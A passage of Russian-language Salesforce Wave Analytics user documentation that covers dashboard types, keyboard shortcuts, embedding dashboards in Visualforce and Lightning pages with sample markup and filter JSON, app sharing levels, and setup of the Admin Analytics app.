аналитические. Несмотря на то, что некоторые панели мониторинга могут служить разным целям, настоятельно
рекомендуем использовать панель мониторинга только для одной цели.

Клавиши быстрого доступа Wave

Основные действия можно выполнять с помощью клавиатуры. Клавиши быстрого доступа в конструкторе панели
мониторинга зависят от используемого типа конструктора панели мониторинга: исходного или конструктора Flex.

Что такое панель мониторинга?
Панельмониторинга — это средство просмотра конкретнойинформациионаборе данных, доступной для дальнейшей
обработки. Панельмониторингаотображаетнаборрекомендованныхдиаграмм, показателейи таблицнаоснове данных
из представления Lens.

При предоставлении общего доступа к даннымWave Analytics посредством панели мониторинга система позволяет
участникам аудитории создавать собственные представления, вместо того чтобы просматривать полный набор данных.

Одним из преимуществ панели мониторинга является концентрирование внимания аудитории. Набор данных может
содержатьогромныеобъемыданных. Некоторыеданныемогутбытьважнымидляаудитории, тогдакакостальныеданные
могут быть абсолютно лишними. Другими словами, данные, являющиеся важными для одного набора вопросов, могут
быть иногда неважными для другого набора вопросов.

Помните, что основой термина «панель мониторинга» является автомобильный термин «панель управления», однако,
при всейих языковой схожести, панельмониторинга позволяет выполнять гораздо больше действий, чем традиционная
панель управления. Другими словами, панель мониторинга позволяет просматривать не только изменения, но также
получать более подробные исходные данные. Представим, что обычный спидометр показывал бы не только скорость
движения, но также детализацию скорости в разные моменты времени, изменение дальнейшего режима движения и
перенос фактического времени прибытия.

СМ. ТАКЖЕ:

Создание панелей мониторинга Wave
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Какие панели мониторинга следует создать?
Панели мониторинга могут поддерживать разные типы поиска информации: операционные, стратегические или
аналитические. Несмотря на то, что некоторые панели мониторинга могут служить разным целям, настоятельно
рекомендуем использовать панель мониторинга только для одной цели.

Совет: Независимоот заданнойцели, хорошиепанелимониторингадолжныбыть самодостаточнымииотображать
все важные данные, исключая необходимость прокручивания или выбора других ресурсов.

Операционные панели мониторинга

Операционная панель мониторинга позволяет отслеживать быстро меняющиеся данные, которые могут влиять на
повседневную работу. Операционная панель мониторинга отличается круглосуточной поддержкой. Аудитория может
рассчитывать на получение оперативных данных.

Например, операционная панель мониторинга может использоваться для просмотра времени работы и показателей
использования сервера или отслеживания количества обращений по поддержке, принимаемых центром обработки
вызовов каждую неделю.

Стратегическая панель мониторинга

Стратегическая панель мониторинга содержит общие сведения о развитии бизнеса. Руководители могут использовать
даннуюпанельмониторингадляотслеживанияключевыхиндикаторовэффективностииподдержкирешенийпообщему
руководству. Аудиторияможетиспользоватьстратегическуюпанельмониторингадлявыявленияпроблемивозможностей
без перечисления вопросов, требующих немедленного решения.

Например, стратегическая панель мониторинга, предназначенная для директоров по продажам, может использоваться
для отображения общих продаж по региону, общего дохода за квартал или общего количества сотрудников по отделу.

Аналитические панели мониторинга

Аналитическая панель мониторинга поддерживает детализациюоперационных или стратегических данных для поиска
тенденций и составления прогнозов. Данная панель позволяет аудитории просматривать огромные объемы данных,
выполнять гипотетические сценарии и находить ответы на новые вопросы.

Аналитическая панель мониторинга может использоваться на ежемесячной, ежеквартальной или ежегодной основе. В
отличие от операционныхили стратегическихпанелеймониторинга, данная панельмониторинга не предназначена для
отслеживания ежедневных обновлений.

СМ. ТАКЖЕ:

Планирование панели мониторинга

Клавиши быстрого доступа Wave

Основные действия можно выполнять с помощью клавиатуры. Клавиши быстрого доступа в конструкторе панели
мониторинга зависят от используемого типа конструктора панели мониторинга: исходного или конструктора Flex.

ОписаниеКлавиши быстрого доступа представления Lens

Вырезать в конструкторl

Сохранитьs
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ОписаниеКлавиши быстрого доступа представления Lens

Клонировать в новую вкладкуn

Удалитьd

Открыть редактор JSONCTRL+E (Windows); CMD+E (Mac)

ОписаниеКлавиши быстрого доступа в исходном конструкторе
панели мониторинга

Перемещение выбранного элемента.Клавиши со стрелками

Удаление выбранного элемента из холста.x

Размещениевыбранногоэлементаподдругимиэлементами.[

Размещениевыбранногоэлементанаддругимиэлементами.]

ОписаниеКлавиши быстрого доступа в конструкторе панели
мониторинга Flex

Перемещение выбранного элемента.Клавиши со стрелками

Публикация панели мониторинга.c

Удаление панели мониторинга.d

Переключениемеждуокномпредварительногопросмотра
и редактором панели мониторинга.

e

Отображениевырезанныхпредставлений Lens илисоздание
представления Lens на панели мониторинга.

q

Возврат панелимониторинга к последнему сохраненному
состоянию

r

Сохранение панели мониторинга.s

Повтор правки.x

Отмена последней правки.z

ОписаниеКлавиши быстрого доступа в редакторе JSON

Перейти к выполнениюCTRL+E (Windows); CMD+E (Mac)

Перезагрузить JSON из режима выполненияCTRL+3 (Windows); CMD+3 (Mac)
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ОписаниеКлавиши быстрого доступа в редакторе JSON

Поиск (RegExp, чувствительныйкрегистру; доступенпоиск
по целому слову)

CTRL+F (Windows); CMD+F (Mac)

СМ. ТАКЖЕ:

Создание панели мониторинга

Интеграция Wave Analytics в бизнес-процессы компании
Созданныевизуализации Wave Analytics могутиспользоватьсяболее эффективноблагодаряихдоступностивинтерфейсе
Salesforce путем интеграции в настраиваемые страницы, страницы Visualforce, сайты сообщества и т. д. Кроме того,
настраиваемые меню для представлений Lens и панелей мониторинга позволяют пользователям выполнять типичные
действия Salesforce прямо из Wave.

Внедрение панели мониторинга на страницу Salesforce

ДобавьтепанельмониторингаWave Analytics вмакет страницысведений. Например, страницасведенийоборганизации
может отображать пользователям панель мониторинга по связанным вопросам обслуживания. Пользователи могут
детализировать информацию, применять фильтры и изучать панель мониторинга так же, как при ее просмотре в
окнеWave Analytics.

Добавление панели мониторинга Wave Analytics на страницу Visualforce

При внедрениипанелимониторинга Wave на страницу Visualforce пользователимогут просматривать интерактивное
представление данных. Пользователи могут детализировать и изучать панель мониторинга на странице Visualforce
или в новом окнеWave Analytics.

Внедрение панелей мониторинга Wave на страницы Lightning (пробная версия)

Добавьте компонент панели мониторинга Wave Analytics на начальную страницу или страницу записи Lightning для
предоставления интерактивной визуализации данных. Пользователи могут детализировать и изучать панель
мониторинга на странице Lightning или в окне Wave Analytics.

Совместное использование приложения Wave в сообществах
Wave Analytics для сообществ позволяет внешним пользователям просматривать приложения, которые публикуются
посредством панелей мониторинга Wave, внедренных на страницы Visualforce сообщества.

Включение действий и ссылок посредством настраиваемых меню действий
Настраиваемые меню для представлений Lens и панелей мониторингаWave Analytics позволяют пользователям
выполнять действия и открывать записи из системы Salesforce или других веб-сайтов.

Внедрение визуализаций с помощью сообщений Chatter и предоставления ссылок
Предоставьте коллегам общий доступ к визуализации путем публикации в Chatter или получения ее уникального
URL-адреса. Сообщение Chatter предоставляет изображение и ссылку на актив — представление Lens, панель
мониторинга или приложение — вWave Analytics. Коллеги со ссылкой и доступом к активу могут детализировать и
изучать представленную информацию.
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Внедрение панели мониторинга на страницу Salesforce
Добавьте панель мониторингаWave Analytics в макет страницы сведений. Например, страница сведений об организации
может отображать пользователям панель мониторинга по связанным вопросам обслуживания. Пользователи могут
детализировать информацию, применять фильтры и изучать панель мониторинга так же, как при ее просмотре в окне
Wave Analytics.

1. При использовании расширенного редактора макетов страниц выберите категорию «АктивыWave Analytics» в левом
столбце палитры.

2. Перетащите нужный элемент из списка доступных панелей мониторинга в раздел сведений макета страницы.

3. Чтобы изменить свойства элемента (например, высота и ширина) после размещения панели мониторинга в макете,

дваждыщелкните нужный элемент или значок ( ) напротив нужного элемента.

Рекомендуем использовать соотнесение полей для соотнесения полей данных на панели мониторинга с полями
объекта с целью отображения на панели мониторинга только тех данных, которые являются важными для
просматриваемой записи. При необходимости укажите поля из нескольких наборов данных. Определите каждый
набор данных по системному имени, указанному на странице редактирования набора данных. Определите поля
данных по строке и укажите в качестве значений имена полей из объекта Salesforce или конкретные значения.
Соотнесение полей JSON использует формат ниже.

{
"dataset1_system_name": {

"row_name": ["$field_name"],
"row_name”: ["$field_name"]

},
"dataset2_system_name": {
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"row_name": ["$field_name"],
"row_name”: ["$field_name"]

}
}

Например, если панель мониторинга отображает данные из набора данных по имени Service ииспользует измерения
Account и Industry, то соотнесение полей будет выглядеть следующим образом:

{
"service": {

"account": ["$Name"],
"industry”: ["$Industry"]

}
}

Дополнительные свойства активовWave Analytics:

• Флажок «Показать заголовок» позволяет контролировать доступность заголовка панели мониторинга.

• Флажок «Скрыть при ошибке» позволяет контролировать необходимость отображения активаWave Analytics
при наличии ошибки (например, «Не удается найти панель мониторинга»).

• Панели мониторинга содержат дату и время последнего обновления.

Дополнительнуюинформациюобиспользованиирасширенногоредакторамакетовстраницсм. вразделе «Настройка
макетов страниц с помощью расширенного редактора макетов страниц».

Просмотрите ограничения ниже.

• Каждый макет страницы может быть дополнен одной панелью мониторинга.

• Панели мониторингаWave Analytics не поддерживаются исходным редактором макетов страниц. Если исходный
редактор макетов страниц используется для открытия макета, созданного посредством расширенного редактора,
то исходный редактор удаляет все панели мониторингаWave Analytics при сохранении макета.

Добавление панели мониторинга Wave Analytics на страницу Visualforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

При внедрении панели мониторинга Wave на страницу Visualforce пользователи могут
просматриватьинтерактивноепредставлениеданных. Пользователимогутдетализировать
и изучать панель мониторинга на странице Visualforce или в новом окнеWave Analytics.

Каждая страница Visualforce может быть дополнена одной панелью мониторинга. Тем
не менее, панель мониторинга может содержать ссылки на другие панели мониторинга
илиактивы Wave Analytics. Крометого, пользователимогутнастраиватьфильтры, которые
должны применяться при выполнении, контролировать доступность заголовка панели
мониторинга и определять необходимость отображения панели мониторинга на
странице при возникновении ошибки.

Чтобы добавить панель мониторинга на страницу Visualforce, настройте компонент
<wave:dashboard>. Атрибут filter позволяетиспользовать JSON дляфильтрации
полейнабораданныхпривыполнении. Атрибут openLinksInNewWindow позволяет
определять области открытия ссылок из панели мониторинга на другие активы.
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Ниже приведены два примера. Обратите внимание, что панель мониторинга обозначается атрибутом dashboardId
(18-значныйкод, начинающийсяс символов 0FK). Атрибут dashboardId доступенв конце URL-адресаприпросмотрепанели
мониторинга.

<apex:page sidebar="true" standardController="account">

<wave:dashboard dashboardId="0FKB000000006Y7OAI"
showTitle="true"
height="475px"
openLinksInNewWindow="true"
filter="{'opportunities': {'Id': ['{!Account.Id}']}}" />

</apex:page>

<apex:page sidebar="true" standardController="account">

<wave:dashboard dashboardId="0FKB000000006Y7OAI"
showTitle="true"
height="1500px"
openLinksInNewWindow="false"
filter="{'service': {'account': ['{!Account.Name}'],'industry': [

'{!Account.Name}']}}" />

</apex:page>

Прим.:  JSON атрибута filter может содержать только измерения, поддерживающие селектор списка на панели
мониторинга.

Дополнительную информацию о внедрении Wave Analytics см. в компоненте wave:dashboard раздела «Standard
Component Reference» Руководства разработчика Visualforce.

Внедрение панелей мониторинга Wave на страницы Lightning (пробная версия)
Добавьте компонент панели мониторинга Wave Analytics на начальную страницу или страницу записи Lightning для
предоставленияинтерактивнойвизуализацииданных. Пользователимогутдетализироватьиизучатьпанельмониторинга
на странице Lightning или в окне Wave Analytics.

Прим.: Внастоящее время доступна только пробная версия Wave Analytics для конструктора приложений Lightning.
Чтобы включить даннуюфункцию, обратитесь к менеджеру по работе с клиентами Salesforce.

Чтобыдобавить панельмониторинга на страницу Lightning, выберите компонент «Панельмониторинга Wave», а затем
выберите панель мониторинга для отображения. Кроме того, определите доступность заголовка панели мониторинга и
необходимостьотображенияпанелимониторингана страницепривозникновенииошибки. Атрибут «Открытьссылки
в новых окнах» позволяет определять области открытия ссылок из панели мониторинга на другие активы.
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Атрибут «Фильтр» позволяет использовать JSON для фильтрации полей набора данных при выполнении. Например:

{datasetDeveloperName1:{field1:[value]},datasetDeveloperName1:{field1:[value1,value2],field2:["value3,
with comma"]}}

Прим.:  JSON атрибута «Фильтр»может содержать толькоизмерения, поддерживающие селектор списка на панели
мониторинга.

Совместное использование приложения Wave в сообществах
Wave Analytics для сообществ позволяет внешним пользователям просматривать приложения, которые публикуются
посредством панелей мониторинга Wave, внедренных на страницы Visualforce сообщества.

В разделе параметров Wave Analytics для организации выделите «Включить Wave Analytics для сообществ». Если
пользователи-партнерыинастраиваемыепользователииспользуют Analytics Cloud, онисмогутпросматривать встроенные
панели мониторинга Wave. Для этого требуется лицензия набора полномочий сообщества Wave и набор, содержащий
полномочие «Просмотр Wave Analytics на страницах сообщества».

Доступ к приложениям предоставляется путем выбора параметра «Общий доступ» в приложении или на панели
мониторинга Wave.

3947

Интеграция Wave Analytics в бизнес-процессы компанииAnalytics



Вдиалоговомокнепредоставленияобщего доступапартнерыи клиенты сообщества выделяются оранжевымцветомдля
их обозначения в качестве внешних пользователей. Им предоставляется только уровень доступа «Гость». Они могут
детализировать и просматривать панелимониторинга прямо из сообщества, тогда как все другие области Wave остаются
недоступными. Предикаты безопасности предоставляют дополнительный контроль доступности данных.

Прим.: Данная функция поддерживается сообществами, но не порталами. Данная функция поддерживается для
пользователей с ролью, и не поддерживается для пользователей массового портала.

Сведения о настройке см. в разделе «Включить Wave Analytics для сообществ».
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Включение действий и ссылок посредством настраиваемых меню действий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
визуализаций:
• “Использование Wave

Analytics»

Для редактирования файла
расширенных метаданных
(XMD) набора данных:
• “Изменение потока

данных Wave Analytics»

Настраиваемые меню для представлений Lens и панелей мониторингаWave Analytics
позволяютпользователямвыполнятьдействияиоткрывать записииз системы Salesforce
или других веб-сайтов.

Настраиваемые меню действий для представлений Lens и панелей мониторинга Wave
позволяют рабочей группе использовать быстрые действия над объектами Salesforce и
открывать записи из системы Salesforce или другого веб-сайта. Разработчики или
администраторы могут редактировать файл расширенных метаданных (XMD) набора
данныхдля созданияменю, являющихсячастьюуказанныхниже элементовинтерфейса
таблицы и диаграммы Wave.
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• Метки значений в диаграммах (см. изображение выше).

• Метки значений условных обозначений в ячейках таблицы.

• Значения в ячейках таблицы.
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Чтобы определить доступность меню действий, наведите указатель мыши на нужную метку. Чтобы открыть меню,
щелкните значение, ячейкуилиусловноеобозначение. Затемвыберитенужноедоступноедействиеилиоткройте запись.

Действия в меню действий
Действия извлекаются из объектных действий и/или глобальных действий, добавленных ранее в объекты Salesforce.
Действия Salesforce позволяютпользователямсоздавать записи, которые автоматическисвязываются с другимизаписями,
изменять и обновлять отдельные записи, а также управлять записямиоднимиз доступных способов. Например, добавьте
действия, позволяющие пользователям создавать обращения, события, организации, группы и т. д. Дополнительную
информациюобобъектах Salesforce и действиях, которыеподдерживаются текущимвыпуском, см. в разделе «Поддержка
меню действий для объектов и действий» ниже.

Ссылка «Открыть запись» в меню быстрых действий
Ссылкимогут передавать отдельные данные (например, кодыорганизаций Salesforce) из представлений Lens илипанелей
мониторинга в записи. Например, ссылка из имени организации на панели мониторинга может передавать системе
Salesforce код связанной организации; то есть, выбор ссылки «Открыть запись» будет инициировать открытие
соответствующей записи организации на новой вкладке. Кроме того, настраиваемые ссылки могут выполнять поиск
записей для сотрудников в Workday®илиотчетов по расходам в Concur®. Ссылкаможет быть добавлена на любой веб-сайт,
использующий протокол HTTP или HTTPS.

Поддержка меню действий для объектов и действий
Текущая реализация меню действий обеспечивает ограниченную поддержку действий и объектов Salesforce.

В настоящее время можно создавать меню быстрых действий для настраиваемых объектов, sObjects и для следующих
стандартных объектов Salesforce:

• Организация

• Обращение

• Интерес

• Возможность

Действия в макетах страниц для объектов «Контакт», «Пользователь» и «Профиль пользователя» не поддерживаются.

Меню действия на текущий момент поддерживает действия Chatter («Сообщение», «Файл», «Благодарность», «Ссылка»,
«Опрос» и «Вопрос»), объектные действия и глобальные действия. Действия Salesforce1 не поддерживаются.

Поддержка других объектов и действий будет доступна в будущих выпусках.

Разработка меню действий
Группаразработкисоздаетменюдействийпутемредактированияфайларасширенныхметаданных (XMD) набораданных.
Дополнительнуюинформациюсм. вразделе «Dimensions Section» Справочногоруководствапорасширеннымметаданным
(XMD).

Чтобысоздать ссылку «Открыть запись» вменюдействийдлянабораданных, содержащего записиизразных экземпляров
организации Salesforce, дополните файл XMD разделом «organizations». Данный раздел позволяет соотносить разные
сведения — от кодов организаций до URL-адресов — для каждого экземпляра организации, указанного в наборе данных.
См. раздел «Organizations Section» Справочного руководства по расширенным метаданным (XMD).
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Внедрение визуализаций с помощью сообщений Chatter и предоставления ссылок

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
визуализаций:
• “Использование Wave

Analytics»

Предоставьте коллегам общий доступ к визуализации путем публикации в Chatter или
получения ее уникального URL-адреса. Сообщение Chatter предоставляет изображение
и ссылку на актив — представление Lens, панель мониторинга или приложение — в
Wave Analytics. Коллеги со ссылкой и доступом к активу могут детализировать и изучать
представленную информацию.

1. НажмитеПредоставить общий доступ.

2. Откройтевкладкудлянужногометодаобщегодоступа: ФункцияСообщениевленту,
котораяосуществляетпубликациювChatterизображенияиссылокнапредставление
Lens, панель мониторинга или приложение, либо Get URL, которая предоставляет
уникальный URL-адрес на актив.

a. При публикации в Chatter выберите лентуПользователь или Группа, введите
имя и свой комментарий. Также можно удалить изображение из сообщения,
наведя на него указатель мыши и нажав x. Учтите, что опубликованные
изображения являются общедоступными.

b. Приполучении уникального URL-адреса скопируйтеи вставьте ссылку в нужную
область.

3. Если применимо, щелкнитеПредоставить доступ для установки уровня общего
доступа.

4. Нажмите кнопку «Готово».

Прим.: Для общего доступа к визуализации необходимо предоставить доступ к приложению, которое ее
содержит. Представления Lens, наборы данных и панели мониторинга внутри стандартного общедоступного
приложениядоступнывсемпользователямWave Analytics, еслиадминистраторынезапретилидоступ. Вседругие
приложения являются личными, при условии что доступ к приложению не предоставлен конкретному
пользователю, группе или роли сотрудниками с уровнем доступа «Менеджер».

Работа с приложениями Wave Analytics
ПриложенияWave Analytics — это папки, содержащие наборы данных, представления Lens и панели мониторинга.

При необходимости создайте собственные приложения для систематизации проектов данных и управления общим
доступом к активамWave Analytics.

Кроме того, воспользуйтесь стандартными приложениями Sales Wave Analytics на странице 3961, содержащими готовые
наборы данных, представления Lens и панели мониторинга для предоставления удобного доступа к данным Sales Cloud
и быстрого начала работы сWave.

Предоставление общего доступа на уровне приложения
ПриложенияWave Analytics аналогичны папкам, поэтому позволяют пользователям систематизировать собственные
проекты данных — как личные, так и общедоступные — и контролировать общий доступ к наборам данных,
представлениям Lens и панелям мониторинга.
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Создание приложения
Создайтеприложениедля систематизацииихранениялюбойкомбинациипредставлений Lens, панелеймониторинга
и наборов данных.

Предоставление общего доступа к приложению
Чтобы разрешить другим пользователям просмотр представления Lens, панели мониторинга или набора данных,
предоставьте им общий доступ к соответствующему приложению.

Удаление приложения
При наличии доступа «Менеджер» к приложению вы можете его удалить. Это действие приводит к необратимому
удалению представлений Lens, панелей мониторинга и набора данных изWave Analytics.

Предоставление общего доступа на уровне приложения
ПриложенияWave Analytics аналогичны папкам, поэтому позволяют пользователям систематизировать собственные
проекты данных — как личные, так и общедоступные — и контролировать общий доступ к наборам данных,
представлениям Lens и панелям мониторинга.

ПоумолчаниювсемпользователямWave Analyticsпредоставляетсяуровеньдоступа «Гость» кстандартномуобщедоступному
приложению; данный доступ может ограничиваться или расширяться администраторами. Кроме того, каждому
пользователю предоставляется доступ к стандартному приложению «Мое личное приложение», предназначенному для
текущих персональных проектов. Содержимое данного приложения не может просматриваться администраторами и не
можетбытьдоступнодругимпользователям. Чтобыпредоставитьобщийдоступкэлементуличногоприложения, добавьте
нужный элемент в любое общедоступное приложение.

По умолчанию все другие приложения, созданные отдельными пользователями, являются личными; ответственному за
приложениеи администраторампредоставляется уровень доступа «Менеджер», позволяющийрасширять доступ других
пользователей, групп или ролей.

Таблица ниже определяет действия, доступные пользователям при наличии уровня доступа «Гость», «Редактор» или
«Менеджер».

МенеджерРедакторГостьДействие

XXXПросмотр панелей мониторинга, представлений Lens и наборов
данных в приложении

XXXПросмотр аудитории, имеющей доступ к приложению

XXXСохранение содержимого приложения в другом приложении,
котороедоступнопользователюнауровнередактораилименеджера

XXСохранение изменений в текущих панелях мониторинга,
представлениях Lens и наборах данных в приложении (сохранение
панелеймониторинга требуетналичиясоответствующейлицензии
набора полномочий и полномочия)

XИзменение параметров общего доступа приложения

XПереименование приложения

XУдаление приложения
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Создание приложения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания приложения:
• “Создание приложений

Wave Analytics»

Создайтеприложениедлясистематизацииихранениялюбойкомбинациипредставлений
Lens, панелей мониторинга и наборов данных.

1. Нажмите кнопку «Создать» на начальной странице.

2. Щелкните «Приложение».

3. Введите имя приложения.

4. Нажмите кнопку «Создать».
Данноедействиеинициируетсозданиеиотображениеприложениянановойвкладке.
При необходимости добавьте представления Lens, панели мониторинга и наборы
данных.

5. Добавьте описание цели и содержимого приложения, поясняющее сотрудникам
порядок использования данных.

a. Щелкните поле описания под именем приложения.

b. Введите описание.

c. Чтобы сохранить внесенные изменения, щелкните значок .

6. При необходимости измените стандартный значок приложения для его отличия от
других приложений.

a. Наведите указатель мыши на стандартный значок.

b. Щелкните «Изменить значок».

c. Выберите значок из галереи.
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Предоставление общего доступа к приложению

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для предоставления общего
доступа к приложению:
• “Использование Wave

Analytics» и доступа
уровня «Менеджер» к
приложению сделайте
следующее.

Чтобы разрешить другим пользователям просмотр представления Lens, панели
мониторинга или набора данных, предоставьте им общий доступ к соответствующему
приложению.

1. Нажмите кнопку «Общий доступ» на странице приложения.

2. Выполните указанные ниже действия на вкладке «Предоставить доступ».

a. Выберите аудиторию для предоставления общего доступа к приложению:
пользователь, группа или роль.

b. Начните вводить имя и выберите один из предложенных результатов.

c. Выберите уровень общего доступа: «Гость», «Редактор» или «Менеджер».

d. Нажмите кнопку «Добавить».

e. Нажмите кнопки «Сохранить» и «Готово».
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Удаление приложения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления приложения:
• “Использование Wave

Analytics» и доступа
уровня «Менеджер» к
приложению сделайте
следующее.

При наличии доступа «Менеджер» к приложению вы можете его удалить. Это действие
приводиткнеобратимомуудалениюпредставлений Lens, панелеймониторингаинабора
данных изWave Analytics.

1. Откройте приложение и нажмите кнопкуУдалить.

Внимание: Удаленное приложение не может быть восстановлено.

При наличииWave Analytics отображает список всех затрагиваемых представлений
Lens и панелей мониторинга вне приложения. При удалении принадлежащих
приложению наборов данных представления Lens и панели мониторинга, которые
ссылаются на эти наборы данных, становятся непригодными для использования.

Важное замечание: Вспискеотображаютсятолькопредставления Lens ипанели
мониторинга, к которым у вас есть доступ. Если у вас нет к ним доступа,
представления Lens ипанелимониторинга не будут отображены в списке, даже
если они имеют ссылки на наборы данных в приложении.

2. Нажмите «Удалить активы».
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Приложение Admin Analytics

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования
приложения Admin
Analytics:
• «Использование

шаблонных
приложений Wave
Analytics»

• «Доступ к шаблонам и
приложениям Admin
Analytics»

Для создания и управления
приложениями Wave:
• «Управление

шаблонными
приложениями Wave
Analytics»

• «Изменение потоков
данных Wave Analytics»

ПриложениеAdmin Analytics совместносданнымимониторингасобытийиконтрольного
журналанастройкипозволяетполучитьподробныесведенияодействияхпользователей
и организаций.

Приложение Admin Analytics — это первая встроенная функция для изучения данных
мониторинга в Salesforce. Создание приложения не требует особых усилий, а готовые
панелимониторингаинаборыданныхпозволяютнемедленноначатьизучение. Данное
приложение позволяет выполнить детализацию данных организации и быстро
обнаружить подозрительное поведение, сниженную производительность страниц и
неудовлетворительное внедрение среди пользователей.

Прим.: Чтобы получить лицензию для Admin Analytics, приобретите лицензию
для расширения по отслеживанию событий и активируйте Admin Analytics.
Приложение Admin Analytics можно использовать платформой Salesforce Wave
Analytics или без нее

Настройка полномочий Salesforce для приложения Admin Analytics

Выбирайте лицензии, а также создавайте и назначайте наборы полномочий, чтобы
предоставитьадминистраторамипользователямдоступкприложению Admin Analytics.

Создание и совместное использование приложения Admin Analytics

ПриналичиисоответствующихполномочийнастройкаприложенияAdmin Analytics
не составляет труда.

Общие сведения о готовых панелях мониторинга приложения Admin Analytics

Приложение Admin Analytics поддерживает набор готовых панелей мониторинга,
поэтому изучение данных можно начать немедленно. Данные организации
автоматически загружаются в наборы данных приложения Admin Analytics при его
формировании.

Общие сведения о терминологии приложения Admin Analytics

Чтобы повысить эффективность использования приложения Admin Analytics,
рекомендуем просмотреть используемые показатели и термины.

Настройка полномочий Salesforce для приложения Admin Analytics

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования наборов
полномочий:
• «Управление

профилями и наборами
полномочий»

Выбирайте лицензии, а также создавайте и назначайте наборы полномочий, чтобы
предоставить администраторам и пользователям доступ к приложению Admin Analytics.

Ваша организация может использовать приложение Admin Analytics с платформой
Salesforce Wave Analytics или без нее. Приложение Admin Analytics распространяется
бесплатно по запросу любой организации, оплатившей лицензию Event Monitoring.
Новых и существующих пользователей лицензии Event Monitoring просим обратиться
в компанию Salesforce и запросить лицензию Admin Analytics. Лицензия Admin Analytics
включает следующие полномочия.
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ФункцияПолномочие

Включение доступа ко всем шаблонным приложениям
Wave.

«Использование шаблонных приложенийWave Analytics»

ПредоставляетспециальныйдоступкAdmin Analytics, а также
к данными готовымпанеляммониторинга, которые в него
входят.

«Доступ к шаблонам и приложениям Admin Analytics»

Предоставляет администраторам возможность создавать
приложения Wave для пользователей в соответствующих

«Управлениешаблонными приложениямиWave Analytics»

организациях, в данном случае с помощью приложение
Admin Analytics.

Позволяет администраторам загружать и скачивать JSON
для существующих потоков данных.

«Изменение потока данныхWave Analytics»

Создайтенаборысиспользованиемэтихполномочий, какдлялюбогонабораполномочийSalesforce. Выберителицензию
набораполномочий, создайтенаборынаосновеполномочий, включенныхлицензией, а затемназначьтеихпользователям
или профилям. Обычно достаточно создать два типа набора полномочий: по одному для групп пользователей и
администраторов.

1. Выберите лицензию набора полномочий приложения Admin Analytics. Для всех пользователей Admin Analytics
вашей организации требуется лицензия набора полномочий приложения Admin Analytics. Выберите и назначьте эту
лицензию пользователям, как в случае с любой другой лицензией набора полномочий Salesforce.

2. Создайте и назначьте набор полномочий, который открывает пользователям доступ к приложению Admin
Analytics. Большинству пользователей вашей организации необходимо только просматривать приложение Admin
Analytics. Создайте для них набор полномочий, в который входят «Использование шаблонных приложенийWave
Analytics» и «Доступ к шаблонам и приложениям Admin Analytics». Эти полномочия позволяют пользователям
просматривать все в Admin Analytics, а также создавать и редактировать панели мониторинга. Назначьте набор
полномочий соответствующим пользователям или профилям.

3. Создайтеиназначьтенаборполномочий, которыйоткрываетадминистраторамиотдельнымпользователям
доступ к управлениюприложением Admin Analytics. Возможно, администраторам и отдельным пользователям
потребуется создать приложение Admin Analytics и открыть к нему общий доступ. Создайте набор полномочий с
лицензией Admin Analytics и назначьте его нужным пользователям и администраторам. Эти полномочия позволяют
пользователям просматривать все в Admin Analytics, а также создавать и редактировать панели мониторинга. К тому
же, с их помощьюможно создавать, публиковать и удалять приложение, планировать и работать с потоками данных,
загружать внешние данные и т. д.
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Создание и совместное использование приложения Admin Analytics

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования
приложения Admin
Analytics:
• «Использование

шаблонных
приложений Wave
Analytics»

• «Доступ к шаблонам и
приложениям Admin
Analytics»

Для создания и управления
приложениями Wave:
• «Управление

шаблонными
приложениями Wave
Analytics»

• «Изменение потоков
данных Wave Analytics»

Приналичии соответствующихполномочийнастройка приложенияAdmin Analyticsне
составляет труда.

Прим.: Поскольку период генерированияфайловжурнала событий составляет 24
часа, данные приложения недоступны для просмотра в первый день после его
создания. Приложениесодержитнекоторыетестовыеданные, поэтомувэтотпериод
возможен предварительный просмотр панелей мониторинга.

1. Выполните вход в систему Salesforce.

2. ВыберитеWave Analytics из палитры приложений.

3. Нажмите кнопку «Приложения», выберите Admin Analytics, затем нажмите
«Продолжить».

4. Назовите приложение.

5. Нажмите кнопку «Создать». Процесс создания приложения занимает некоторое
время. Чтобыпроверитьходвыполнения, нажмитекнопку«Отслеживаниеданных»
в меню, обозначенном значкомшестеренки в верхнейчасти страницы. Еслилюбой
этаппроцесса завершаетсянеудачно, необходимоповторить созданиеприложения.

6. Послеподготовкиприложениякработеегоможноиспользоватьсовместносдругими
пользователямиорганизации. Учтите, чтоприложениедоступнокпросмотру только
пользователями с полномочиями «Управление шаблонными приложениями Wave
Analytics» и «Доступ к шаблонам и приложениям Admin Analytics». Для совместного
использования приложения наведите указатель мыши на значки приложений на
начальном экранеWave Analytics и нажмите «Общий доступ». Общий доступ также можно предоставить
непосредственно из приложения.

